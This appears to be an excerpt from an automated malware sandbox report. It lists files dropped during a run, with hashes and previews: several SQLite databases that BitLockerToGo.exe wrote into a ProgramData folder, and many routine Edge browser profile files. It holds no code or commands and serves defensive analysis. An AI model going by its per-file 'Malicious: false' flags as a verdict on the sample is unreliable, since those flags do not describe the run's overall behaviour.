SHA-512:	CE2F1709F39683BE4131125BED409103F5EDF1DED545649B186845817C0D69E3D0B832B236F7C4FC09AB7F7BB88E7C9F1E4F7047D1AF56D429752D4D8CBED47A
Malicious:	false
Preview:	SQLite format 3......@ .......&..................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\jmo89\jwb1nycjm

Download File

Process:	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\jmo89\mophdt

Download File

Process:	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\jmo89\ppp8y5

Download File

Process:	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 9, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 9
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.265613352386096
Encrypted:	false
SSDEEP:	384:KrJ/2qOB1nxCkMZSAELyKOMq+8HKkjucswRv8p3nVumU:K0q+n0JZ9ELyKOMq+8HKkjuczRv89Q
MD5:	4F507C5C12202B15DF5743FA022A3793
SHA1:	A72CA86272DFC00899AF7E194745005A31A6982F
SHA-256:	BC2D004F5C8D5FC87135A165866C68EB3E92C54335E2818ADCDD1B9ED46A564D
SHA-512:	7D1DB610C2A385ACBBB861AE7578A679686931502375F4E7AEC6DFC84AB3BBA8E84FA1FA1C99FE161CD2A04F505FAEEC40F82B496F7696BBE8B011DC4BB073F4
Malicious:	false
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\jmo89\ymymyuai5

Download File

Process:	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\32f666b5-f1cf-49b0-82fd-07123919d761.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	57639
Entropy (8bit):	6.103644524404108
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7ynBPGWv/sxtwTj7VLyMV/YoskFoz:z/0+zI7yn5v/4KTVeZoskG
MD5:	42E5E3F82ED19413087451F81779C7D4
SHA1:	347421D234E81207E9588A6555A4EC3B6DBBCA15
SHA-256:	7DD16F4AA8B366759E9A5BA416F613F077D47DADEADFCA8CE62524DE1812C0F5
SHA-512:	50457D15BB0824353A12FA45F7FA1B9FD23B5DCA406FA37E71A7637AD265DF47BF3D33C6FEF9DD254B26B9CF9F162D757A882B07CF7183E2DFCA5A1DD631CCF6
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\4baffec3-c2d7-4ad2-9f76-78b0ae3b8c1d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	56066
Entropy (8bit):	6.103069143389172
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7ynVPGWv/sxtwz7VLyMV/YoskFoz:z/0+zI7ynlv/4KfVeZoskG
MD5:	8C94D039D70FD2F20023F360442DB387
SHA1:	53E1690DB9B1FCD6261560FE356A9C8C8DF0904B
SHA-256:	3CDECC00ACFCC7B5CE094A7F19A781939CE656FD6A780E3B8911FA925C7C9005
SHA-512:	C44BD98F0D45BBF763A1A5E3D35E05716AAD08AF2643032975BA40D5CA0B3AAADE0DABCD7BD5373B927E240BD1E79C3C5DE3C897216A3E859CF63F38F20DA977
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\6b43e1e7-fde1-4308-9d5e-06063e581384.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	57639
Entropy (8bit):	6.103644524404108
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7ynBPGWv/sxtwTj7VLyMV/YoskFoz:z/0+zI7yn5v/4KTVeZoskG
MD5:	42E5E3F82ED19413087451F81779C7D4
SHA1:	347421D234E81207E9588A6555A4EC3B6DBBCA15
SHA-256:	7DD16F4AA8B366759E9A5BA416F613F077D47DADEADFCA8CE62524DE1812C0F5
SHA-512:	50457D15BB0824353A12FA45F7FA1B9FD23B5DCA406FA37E71A7637AD265DF47BF3D33C6FEF9DD254B26B9CF9F162D757A882B07CF7183E2DFCA5A1DD631CCF6
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\23c249a6-cd61-4708-8de0-5216ec08aa28.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640160905302712
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7w:fwUQC5VwBIiElEd2K57P7w
MD5:	1650AB1CA6AC50D0BDEA538B126A6296
SHA1:	30AB4ADF7602AB87FFF96921DEB4C3638FFCD265
SHA-256:	F7FBF4099533EAF1F97E3F6D26A25A84B15200F4EA9B847C8A7DD3B150510753
SHA-512:	CA7B077B388A459163E5CBF91F7865A5212FC534D77B7998D727B65AC2A176EE9AC4FA6D0BA3D5DA6BDF7FA8109E00B1AD69A6FB11A27D80156248407FE8FA46
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640160905302712
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7w:fwUQC5VwBIiElEd2K57P7w
MD5:	1650AB1CA6AC50D0BDEA538B126A6296
SHA1:	30AB4ADF7602AB87FFF96921DEB4C3638FFCD265
SHA-256:	F7FBF4099533EAF1F97E3F6D26A25A84B15200F4EA9B847C8A7DD3B150510753
SHA-512:	CA7B077B388A459163E5CBF91F7865A5212FC534D77B7998D727B65AC2A176EE9AC4FA6D0BA3D5DA6BDF7FA8109E00B1AD69A6FB11A27D80156248407FE8FA46
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-67AF00C9-13DC.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.45166167339892466
Encrypted:	false
SSDEEP:	3072:PcrmkVjg/8h7B0WVA8ND4PkcVxhrM28IWG3/RlqWQ15wWALwHf2Ug1HF:imO17XND6kcV1jT/bqd5wWALw/2UaH
MD5:	F320254F2338B1F583578A21258DA6A2
SHA1:	BCCA46B9F610601326F11E18E9B010010FF90BAD
SHA-256:	48966DB9A34C03DC5694C49A1EAFFE46472D2E0D490CE3637EC7A7E6006E0972
SHA-512:	2238CF2D3ADD40CCE5692FDCEFD581D4574D4DEFF06AB6A454BD2BEFE80652FB7AA6BB93C7ADFE85091205FAC00592C3796735014A382B9CEA874F9168C9055F
Malicious:	false
Preview:	...@..@...@.....C.].....@...............H...................`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30..............117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?.......".lxfskd20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@...............................0...w..U?:K...G...W6.>.........."....."...24.."."xDkc0HT9c2ekfj/3J+6x4yELW+Knys1OtBnWqRtJUmw=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z....l....'@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2..........~...... .2........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-67AF00C9-F94.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.04727723714996522
Encrypted:	false
SSDEEP:	192:/8U0m5tm/nOAU5Y4JPi6VBKP7+HfgHXkEITMkYTwghBMNsb+zRQcHgPpl92Xn8ys:EU0UtQWN4RJhqPVLkf2X08T2RGOD
MD5:	37EC4651EFDC7CCB73931B6877D250D3
SHA1:	4A62BC0A01232870681F26EFCE587CBD84CF1E1E
SHA-256:	3AC9C4DCD83EC75A866F2709AB57A4F5F4D2905498F6A295CAAACAFAB93B5B3F
SHA-512:	9B2A0996AC7841D92C8FAC80061B1F2183EE4A0C96DABFF67270DD5D4971422075DD5ADB42F7E063C1B4C7919CFAB302C9AEEFE2E9D34C7B49FD0151E27FE42A
Malicious:	false
Preview:	...@..@...@.....C.].....@...............xj..0Z..............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30..............117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?.......".lxfskd20,1(.0..8..B.......2.:.M....U....e...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@...............................0...w..U..G...W6.>.........."....."...24.."."xDkc0HT9c2ekfj/3J+6x4yELW+Knys1OtBnWqRtJUmw=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z....l....'@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2.......,...... .`2..........I..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.16517681506792
Encrypted:	false
SSDEEP:	3:FiWWltlrPYjpVjP9M4UcLH3RvwAH/llwBVP/Sh/Jzv/jSIHmsdJEU9VUn5lt:o1rPWVjWZq3RvtNlwBVsJDL7b/3U7
MD5:	C847567DEE0317368C1EC824DE025887
SHA1:	554098F22FEA9282FE1AAB35560849CD6FF546B1
SHA-256:	3CF2B1CBE4F4CCFC640BCF581FD4D9FC84254D2B3839C96EA4909B61AAF28932
SHA-512:	A976744405F6ABEBFB7513A3A6A776680334BB94A9E52AEEFE2B05259BCB3CF9781B1CCDA3655D8AA4C1E923143168F29EF3208F81ABCB93AFF5215ED3798219
Malicious:	false
Preview:	sdPC.....................!...W.F....+F."xDkc0HT9c2ekfj/3J+6x4yELW+Knys1OtBnWqRtJUmw="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................8889edf7-b09d-4a45-9ea5-adabbfd01bb9............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\1b12317d-8f33-403f-ac5c-43742a651678.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40504
Entropy (8bit):	5.56119904956589
Encrypted:	false
SSDEEP:	768:PZe0ok7pLGL7wOWP60fNn8F1+UoAYDCx9Tuqh0VfUC9xbog/OVWqUbM7Vrwwj1ZK:PZe0ooc7wOWP60fNnu1jabqUo7ewj1n0
MD5:	4C690CA40112D17872A2817C9A295300
SHA1:	FB24A1DA2C2B936355023964743E3B8DA1FCF1FC
SHA-256:	386C8ACA2018CF94F781B9A8720B15302E8284BE2BBE179DC127993A9909BA50
SHA-512:	15E88238E5022ECBB6BA86F6527AC028BEC3487959BBE34F5DCB264701594AAF82EB362197131CC4E7990943757F1395C785795E66E93F4697B19733123352FF
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13383995849891233","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13383995849891233","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\3ac6b246-ebbc-4456-abf3-a36191409725.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	13221
Entropy (8bit):	5.229153295417299
Encrypted:	false
SSDEEP:	192:stgJ99QTryDigabatSuypJsYAFyaNP9koeYn9YFH8BbV+FEPQwnv0PVYJ:stgPGKSu4JsYytJLbGoQwb
MD5:	A40CF317ADB927AEE697BCB265A50A66
SHA1:	CAD2A7AE6DB8F3F600706181ED0243A7B2E276E3
SHA-256:	C398936DE1BB1BB7D90A012FF0D5F32DF4B7F931C4328B80C479AAF4F948042F
SHA-512:	96D3DB95C6AF1104AE921C32BAA752577223BEBE13403F570D8E8C29BAF0D7481714143DDB875046049DF9B23147F974A4A071D2B64954E0514EF4CFFF65376E
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13383995850483766","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\64f99dcf-bd77-4a58-8984-33423e87c7e6.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	13999
Entropy (8bit):	5.294052584997452
Encrypted:	false
SSDEEP:	192:stgJ99QTryDigabatSuypJsYAFyaNP+5+BqIkoeYn9YJH8BbV+FEPQwnv0PVYJ:stgPGKSu4JsYytJ+5+zbGoQwb
MD5:	A97C1E92B825DF1648D63E53077AF8F3
SHA1:	60C2C3E5E1DAC95E64CD00A89DEB7B349247B751
SHA-256:	C01A48911083DA82BCEB692763424F9085B935FB475FC038BAC62E5FC7212E20
SHA-512:	057B85DDC0A64482DFBB13EDF6FADBB442C8347128DF6E3CD47502EBDD8760F9246C56DA925E0C794475AE1B0B213715D5A5A1909F9A61684BE213DF26F42E9D
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13383995850483766","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	3.5394429593752084
Encrypted:	false
SSDEEP:	3:iWstvhYNrkUn:iptAd
MD5:	F27314DD366903BBC6141EAE524B0FDE
SHA1:	4714D4A11C53CF4258C3A0246B98E5F5A01FBC12
SHA-256:	68C7AD234755B9EDB06832A084D092660970C89A7305E0C47D327B6AC50DD898
SHA-512:	07A0D529D9458DE5E46385F2A9D77E0987567BA908B53DDB1F83D40D99A72E6B2E3586B9F79C2264A83422C4E7FC6559CAC029A6F969F793F7407212BB3ECD51
Malicious:	false
Preview:	...m.................DB_VERSION.1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

